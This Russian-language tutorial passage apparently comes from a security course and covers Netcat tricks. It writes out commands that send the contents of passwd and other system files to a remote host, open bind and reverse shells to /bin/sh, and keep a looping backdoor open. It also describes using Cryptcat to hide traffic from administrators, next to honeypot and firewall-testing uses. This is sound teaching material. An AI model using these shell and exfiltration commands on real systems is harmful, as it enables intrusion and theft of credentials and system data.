    Перехват вывода приложений. Влезем снова в шкуру взломщика. Предположим, вы написали скрипт, который выводит информацию из некоторых важных системных файлов на стандартный вывод ( passwd, group, inetd.conf, hosts.allow и т.д.) и выполняет некоторые системные команды для получения справочной информации ( uname, ps, netstat ). Назовем этот скрипт "sysinfo". Чтобы достичь цели, выполним:

    nc -l -u -p 55555 -e sysinfo

    или

    sysinfo | nc -l -u -p 55555

    Вы можете перехватить вывод этой команды и поместить его в файл с названием sysinfo.txt.

    n c-u target 55555 > sysinfo.txt

    В чем разница? Обе команды перенаправляют вывод скрипта с помощью конвейера на Netcat, находящийся в режиме прослушивания, таким образом, что данные пересылаются вне сети через установленное кем-то соединение. Опция -e "передает" ввод/вывод приложению, которое выполняется. Когда скрипт sysinfo завершит свой вывод (вместе с командой EOF ), прослушивающая программа завершит работу, и то же самое произойдет с клиентом на другой принимающей стороне. В случае если скрипт sysinfo будет поставлен на входе конвейера, его вывод по прежнему будет передаваться клиенту, но Netcat будет удерживать поток ввод/вывода. Клиент не получит на вход команду EOF и останется в ожидании передачи какой либо информации.

    То же самое можно сказать и о "перевернутом" примере. Что будет, если вы работаете на машине, на которую передается информация, и хотите инициировать соединение с программой Netcat, находящейся в режиме прослушивания на вашей "домашней" машине? Если Netcat выполняет прослушивание на "домашнем" хосте, после запуска команды nc -l -u -p 55555 > sysinfo.txt, у вас вновь будут две возможности:

    nc -u -e sysinfo homehost 55555

    или

    sysinfo | nc -u homehost 55555
    Совет. В Unix-системах, если команда, которую вы хотите выполнить с использованием опции -e, находится вне текущей директории, из которой запущен Netcat, необходимо определить полное имя команды. Под управлением Windows Netcat может воспользоваться переменной %PATH% и не имеет таких ограничений.

    Разница в использовании конвейера и состоит том, останется ли клиент открытым после того, как скрипт закончит свою работу. Использование опции -e указывает клиенту Netcat закончить работу немедленно после завершения работы скрипта sysinfo. Различие этих двух режимов работы становится совершенно очевидным, если вы хотите выполнить приложение на удаленном хосте и передать ввод/вывод через конвейер Netcat (как об этом говорилось в разделе "Получение удаленного доступа к командной оболочке").

    Захват контроля над приложением. В разделе "Получение удаленного доступа к командной оболочке" мы описывали, как запустить удаленный командный интерпретатор на Windows-машине. Тоже можно сделать и на Unix-машине.

    nc -u -l -p 55555 -e /bin/sh

    Установите соединение с использованием nc -u targethost 55555. Интерпретатор запустится ( /bin/sh ), и вы получите возможность взаимодействовать с командным интерпретатором через конвейер. Опция -e полностью обеспечивает передачу ввода/вывода командному интерпретатору. Имейте в виду, что эта команда должна выполняться циклом в скрипте, если вы хотите оставить "черный ход" в систему открытым после завершения работы командного интерпретатора. При выходе из командного интерпретатора Netcat закроется на обеих сторонах соединения, как только закончит работу /bin/sh. Для Windows-версии Netcat того же результата можно достичь, используя опцию -L.

    Как и в предыдущем примере, вы можете посылать данные ввода/вывода локального приложения Netcat, находящегося в режиме прослушивания ( nc -u -l -p 55555 ), просто набрав следующую команду.

    nc -u -e /bin/sh homehost 55555

    Вы можете делать это в любом интерактивном приложении с продержкой текстового ввода без режимов управления терминалом (текстовый редактор vi, к примеру, не будет работать).

    Совет. Возможно, вы не захотите использовать telnet-клиент для соединения с Netcat, поскольку telnet вносит слишком большое возмущение в работу командного интерпретатора. Вместо этого используйте Netcat для соединения в клиентском режиме.

    Установка ловушек

    Это забавная страшилка для желающего стать взломщиком. Запустив экземпляр Netcat в режиме прослушивания портов, которые наиболее часто проверяются взломщиками на предмет незащищенности, вы можете ввести взломщика в заблуждение, убедив его, что вы делаете нечто, чего на самом деле нет. Если вы сделаете это аккуратно, то получите возможность поймать взломщика.

    [root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt

    Ваш скрипт может передать на выход все, что угодно. После завершения соединения (с помощью команды EOF ), скрипт должен быть запущен заново той же командой Netcat. Но если некто стал слишком любопытным, вы можете затопить атакующего любым мусором, какой вам только будет по душе. Если же вы предпочитаете быть более терпимым, то можете просто записать IP-адреса, с которых происходит атака, в файл traplog.txt.

    Тестирование сетевого оборудования

    Мы бы не хотели терять на этом слишком много времени. Вы можете использовать Netcat в качестве прослушивающего устройства на одном конце сети и попытаться установить с ним соединение с другого конца. Вы можете тестировать множество устройств (маршрутизаторы, брандмауэры и т.д.) на установление соединения, проверяя, какой трафик они передают. Поскольку Netcat дает возможность осуществлять подмену IP-адресов, вы можете также проверять настройки брандмауэров, основанные на IP-адресах, и не потратите много времени на проверку удовлетворительной работы брандмауэра.

    Вы также можете использовать опцию -g, чтобы проверить вашу сеть на предмет возможности осуществлять source routing. Большинство сетевых устройств можно сконфигурировать так, чтобы игнорировать эту возможность, поскольку ее использование почти всегда незаконно.

    Сделай сам

    Архив исходных текстов Netcat сопровождается несколькими командными скриптами и C-программами, демонстрирующими большинство возможных способов использования Netcat. При наличии некоторого опыта в программировании вы сами сможете изучить многие возможности Netcat. Обратите внимание на файлы README, которые так же, как и примеры, расположены в директориях DATA и SCRIPTS. Они натолкнут вас на мысли о том, что еще можно попробовать.

    CRYPTCAT

    Criptcat - это всего лишь созвучие, образованное примерно так: Netcat с шифрованием ( netcat with encryption ). Теперь вы можете шифровать созданные конвейеры, прокси и релеи. Взломщики могут скрывать порождаемый Netcat трафик так, что внимательным системным администраторам понадобится нечто большее, чем просто прослушивать сеть, чтобы понять, что происходит.

    Cryptcat использует расширенную версию протокола шифрования Twofish. Аргументы командной строки у него те же, что и у Netcat. Естественно, не самая лучшая мысль использовать Cryptcat для сканирования портов или попыток соединения с системными службами, которые не используют тот же самый метод шифрования. Но при использовании Netcat в режиме прослушивания на одном конце, и еще одного для попыток соединения с ним, Cryptcat может предложить некоторые удобства, связанные с обеспечением безопасности соединения.

    Вы можете загрузить /.

    Вернуться к учебному плану